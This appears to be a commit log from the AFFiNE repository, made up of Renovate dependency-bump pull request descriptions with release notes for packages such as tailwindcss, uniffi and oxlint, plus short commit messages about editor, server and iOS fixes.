| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.743.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37430-2025-02-06)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.741.0...v3.743.0)

##### Features

-   **client-s3:** Updated list of the valid AWS Region values for the LocationConstraint parameter for general purpose buckets. ([794f4b5](https://redirect.github.com/aws/aws-sdk-js-v3/commit/794f4b5cd80ada15e689db015546a55b22c736c2))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/semantic-conventions)</summary>

### [`v1.29.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/HEAD/CHANGELOG.md#1290)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.28.0...v1.29.0)

##### 💥 Breaking Change

-   feat(sdk-metrics): Add support for aggregation cardinality limit with a default limit of 2000. This limit can be customized via views [#&#8203;5182](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5128)

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.4`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#404---2025-02-06)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.3...v4.0.4)

##### Fixed

-   Fix a crash when setting JS theme values to `null` ([#&#8203;16210](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16210))
-   Ensure escaped underscores in CSS variables in arbitrary values are properly unescaped ([#&#8203;16206](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16206))
-   Ensure that the `containers` JS theme key is added to the `--container-*` namespace ([#&#8203;16169](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16169))
-   Ensure theme `@keyframes` are generated even if an `--animation-*` variable spans multiple lines ([#&#8203;16237](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16237))
-   Vite: Skip parsing stylesheets with the `?commonjs-proxy` flag ([#&#8203;16238](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16238))
-   Fix `order-first` and `order-last` for Firefox ([#&#8203;16266](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16266))
-   Fix support for older instruction sets on Linux x64 builds of the standalone CLI ([#&#8203;16244](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16244))
-   Ensure `NODE_PATH` is respected when resolving JavaScript and CSS files ([#&#8203;16274](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16274))
-   Ensure Node addons are packaged correctly with FreeBSD builds ([#&#8203;16277](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16277))
-   Fix an issue where `@variant` inside a referenced stylesheet could cause a stack overflow ([#&#8203;16300](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16300))

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v34.1.1`](https://redirect.github.com/electron/electron/releases/tag/v34.1.1): electron v34.1.1

[Compare Source](https://redirect.github.com/electron/electron/compare/v34.1.0...v34.1.1)

### Release Notes for v34.1.1

#### Other Changes

-   Backported fix for [`3872580`](https://redirect.github.com/electron/electron/commit/387258077),383070811. [#&#8203;45497](https://redirect.github.com/electron/electron/pull/45497)

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v2.3.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.3.2)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.3.1...v2.3.2)

#####    🚀 Features

-   Update grammars  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(4c9ab)</samp>](https://redirect.github.com/shikijs/shiki/commit/4c9ab999)

#####    🐞 Bug Fixes

-   **monaco**: Handle colors in array  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(e3018)</samp>](https://redirect.github.com/shikijs/shiki/commit/e30181b5)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.3.1...v2.3.2)

</details>

<details>
<summary>mozilla/uniffi-rs (uniffi)</summary>

### [`v0.29.0`](https://redirect.github.com/mozilla/uniffi-rs/blob/HEAD/CHANGELOG.md#v0290-backend-crates-v0290---2025-02-06)

[Compare Source](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0)

##### ⚠️ Breaking Changes ⚠️

We've made a number of breaking changes to fix long standing paper-cuts with UniFFI in multi-crate and procmacro+udl environments.

[See the detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

While **no changes are required to foreign code**, we apologize for the inconvenience!

You are impacted if you use `UniffiCustomTypeConverter` to implement "Custom types",
or use UDL with types from more than one crate.

-   `UniffiCustomTypeConverter` has been removed, you must now use the
    [`custom_type!` macro](https://mozilla.github.io/uniffi-rs/next/types/custom_types.html) instead.

-   The [UDL syntax for external types](https://mozilla.github.io/uniffi-rs/next/udl/external_types.html) has changed.
    `typedef extern MyEnum;` has been replaced
    with `typedef enum MyEnum;`. `[Custom]` and `[External]` are the only supported  attributes for a `typedef`.

-   "remote" types (where UDL can re-export a type defined in
    a non-UniFFI crate - eg, `log::Level`) must now use a
    [`[Remote]` attribute](https://mozilla.github.io/uniffi-rs/next/types/remote_ext_types.html).

-   Various `use_udl_*`/`use_remote_type` etc macros have been removed.

[Detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

-   `uniffi::generate_component_scaffolding` has been removed. It's almost certainly unused as it is
    behind the wrong feature and undocumented. `uniffi::generate_scaffolding` does exacly the same thing and is
    correctly behind the `build` feature.

##### What's new?

-   Kotlin and Swift follow Python: Proc-macros exporting an `impl Trait for Struct` block now has a class inheritance
    hierarcy to reflect that.
    [#&#8203;2297](https://redirect.github.com/mozilla/uniffi-rs/pull/2297), [#&#8203;2363](https://redirect.github.com/mozilla/uniffi-rs/pull/2363)

-   External types work much better, particularly between UDL and proc-macros. (Kotlin external errors do not work - [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392)).

-   Swift interfaces are marked as `Sendable` ([#&#8203;2318](https://redirect.github.com/mozilla/uniffi-rs/pull/2318))

-   Removed the `log` dependency and logging statements about FFI calls.  These were not really useful
    to consumers and could have high overhead when lots of FFI calls are made. Instead, the
    `ffi-trace` feature can be used to get tracing-style printouts about the FFI.

-   External errors work for Swift and Python. Kotlin does not work - see [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392).

-   Added `disable_java_cleaner` option for kotlin to allow for Java 8 compatible code

-   Proc-macros now allow Enums to hold objects ([#&#8203;1372](https://redirect.github.com/mozilla/uniffi-rs/issues/1372))

-   Swift and Kotlin make it possible to opt-out of the runtime checksum integrity tests done as the library is initialized.
    Opting out will shoot yourself in the foot if you mixup your build pipeline in any way, but might speed the initialization.
    (Python apparently hasn't made these checks for some time, so no changes there!)

##### What's changed?

-   Switching jinja template engine from askama to rinja.

-   For `wasm32` build targets, `Future`s do not have to be `Send` ([#&#8203;2418](https://redirect.github.com/mozilla/uniffi-rs/pull/2418)),
    making them compatible with `wasm-bindgen` `Future`s.

##### ⚠️ Breaking Changes for external bindings authors ⚠️

-   Added the `FfiType::MutReference` variant.

-   `Callable` trait has changed, `return_type` and `throws_type` are now references.

-   `Type::External` has been removed. Binding authors must now check the type is local themselves before
    deciding to treat it as a local or external type.

    To get a feel for the impact on the bindings, see where we [first did this for custom types](https://redirect.github.com/mozilla/uniffi-rs/commit/c5a437e9f34f9d46c097848810bf6111cfa13a9f),
    and where we [then stopped using it entirely](https://redirect.github.com/mozilla/uniffi-rs/commit/df514fd1cc748da5c05ab64ccb02d7791012a9cb)

[All changes in v0.29.0](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-07 03:02:26 +00:00
forehalo c673088cc6 feat(nbstore): use polling as ios websocket transport (#10001) 2025-02-07 02:44:52 +00:00
pengx17 61d2cec913 fix(core): remove suspense from image preview (#9981) 2025-02-07 02:30:22 +00:00
fengmk2 1e83a056fc feat(server): add request id on cluster event (#9998) 2025-02-07 02:06:53 +00:00
L-Sun 891d9df0b1 feat(editor): show doc title in page block (#9975)
Close [BS-2392](https://linear.app/affine-design/issue/BS-2392/page-block-需要显示文章title)

### What Changes
- Add `<doc-title>` to edgeless page block (a.k.a the first page visible note block)
- Refactors:
  - Move `<doc-title>` to `@blocksuite/affine-component`, but you can aslo import it from `@blocksuite/preset`
  - Extract `<edgeless-note-mask>` and `<edgeless-note-background>` from `<affine-edgeless-note>` to a seperate file
  - Rewrite styles of `<affine-edgeless-note>` with `@vanilla-extract/css`

https://github.com/user-attachments/assets/a0c03239-803e-4bfa-b30e-33b919213b12
2025-02-06 21:18:28 +00:00
Brooooooklyn 41107eafae feat(server): allow to set default role in page (#9963) 2025-02-06 17:18:50 +00:00
L-Sun f309f8f3e1 fix(ios): incorrect return of getBlob binding in ios (#9995) 2025-02-06 17:03:51 +00:00
Saul-Mirone 5b750bbba4 feat(editor): support delete in flat block proxy (#9994) 2025-02-06 16:30:06 +00:00
pengx17 86de184593 fix(electron): split view drag indicator tooltip (#9979)
fix PD-2244
2025-02-06 16:14:54 +00:00
forehalo 2ff31c6274 build(component): fix component storybook (#9990) 2025-02-06 15:58:10 +00:00
zzj3720 1652e6df6b fix(editor): some UI bugs of table block (#9987)
close: BS-2507, BS-2508, BS-2511, BS-2519, BS-2523
2025-02-06 15:42:05 +00:00
forehalo 7c7febd495 refactor(server): remove never used column in page permission (#9985) 2025-02-06 10:52:05 +00:00
pengx17 d7da12597a fix(core): use divider component to replace height dividers (#9986) 2025-02-06 10:37:05 +00:00
pengx17 5066f50c4f fix(editor): should focus the textarea will clicking the chat input box (#9983)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/0fc4ec8d-85ba-486b-9d1e-854eff3c0dfc.png)

Clicking outside of the textarea should also focuses the textarea
2025-02-06 10:20:05 +00:00
pengx17 40305db838 fix(electron): webpack dev server reloading issue (#9978) 2025-02-06 10:05:08 +00:00
forehalo e9afbbcdc5 fix(server): cannot revalidate licenses (#9982) 2025-02-06 09:48:02 +00:00
renovate 0aa9602d26 chore: bump up oxlint version to v0.15.10 (#9977)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.9` -> `0.15.10`](https://renovatebot.com/diffs/npm/oxlint/0.15.9/0.15.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.9/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.9/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.10`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.10): oxlint v0.15.10

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.9...oxlint_v0.15.10)

#### \[0.15.10] - 2025-02-06

-   [`b7ff7e1`](https://redirect.github.com/oxc-project/oxc/commit/b7ff7e1) span: \[**BREAKING**] Export `ContentEq` trait from root of `oxc_span` crate ([#&#8203;8869](https://redirect.github.com/oxc-project/oxc/issues/8869)) (overlookmotel)

##### Features

-   [`d6d80f7`](https://redirect.github.com/oxc-project/oxc/commit/d6d80f7) linter: Add suggestion fixer for `eslint/no-iterator` ([#&#8203;8894](https://redirect.github.com/oxc-project/oxc/issues/8894)) (dalaoshu)
-   [`7e8568b`](https://redirect.github.com/oxc-project/oxc/commit/7e8568b) linter: Junit reporter ([#&#8203;8756](https://redirect.github.com/oxc-project/oxc/issues/8756)) (Tapan Prakash)
-   [`f4662a9`](https://redirect.github.com/oxc-project/oxc/commit/f4662a9) oxc_language_server: Implement `oxc.fixAll` workspace command ([#&#8203;8858](https://redirect.github.com/oxc-project/oxc/issues/8858)) (Marek Vospel)

##### Bug Fixes

-   [`baf3e4e`](https://redirect.github.com/oxc-project/oxc/commit/baf3e4e) linter: Correctly replace rule severity with duplicate rule name configurations ([#&#8203;8840](https://redirect.github.com/oxc-project/oxc/issues/8840)) (dalaoshu)

##### Performance

-   [`8a4988d`](https://redirect.github.com/oxc-project/oxc/commit/8a4988d) linter: Use parallel iterator directly instead of iter and parallel bridge ([#&#8203;8831](https://redirect.github.com/oxc-project/oxc/issues/8831)) (Cam McHenry)

##### Refactor

-   [`bb9d763`](https://redirect.github.com/oxc-project/oxc/commit/bb9d763) linter: Remove usage of `url` crate ([#&#8203;8833](https://redirect.github.com/oxc-project/oxc/issues/8833)) (camchenry)
-   [`4fcf719`](https://redirect.github.com/oxc-project/oxc/commit/4fcf719) linter: Replace MIME guessing with extension check ([#&#8203;8832](https://redirect.github.com/oxc-project/oxc/issues/8832)) (camchenry)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 07:15:36 +00:00
forehalo d873a78534 feat(server): align pro plan for free in selfhost (#9973)
close AF-2099
2025-02-06 05:25:06 +00:00
renovate f00fb327e2 chore: bump up all non-major dependencies (#9810)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`^0.9.0` -> `^0.10.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.9.1/0.10.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.9.1/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.9.1/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.3` -> `5.0.4`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.3/5.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.3/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.3/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.68` -> `3.0.0-alpha.70`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@shoelace-style/shoelace](https://redirect.github.com/shoelace-style/shoelace) | [`2.19.1` -> `2.20.0`](https://renovatebot.com/diffs/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@shoelace-style%2fshoelace/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@shoelace-style%2fshoelace/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.4` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.4/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | `from: "1.16.0"` -> `from: "1.17.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [gradle](https://gradle.org) ([source](https://redirect.github.com/gradle/gradle)) | `8.12` -> `8.12.1` | [![age](https://developer.mend.io/api/mc/badges/age/gradle-version/gradle/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/gradle-version/gradle/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/gradle-version/gradle/8.12/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/gradle-version/gradle/8.12/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.473.0` -> `^0.474.0`](https://renovatebot.com/diffs/npm/lucide-react/0.473.0/0.474.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.473.0/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.473.0/0.474.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.0` -> `22.13.1` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.0/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.0/v22.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
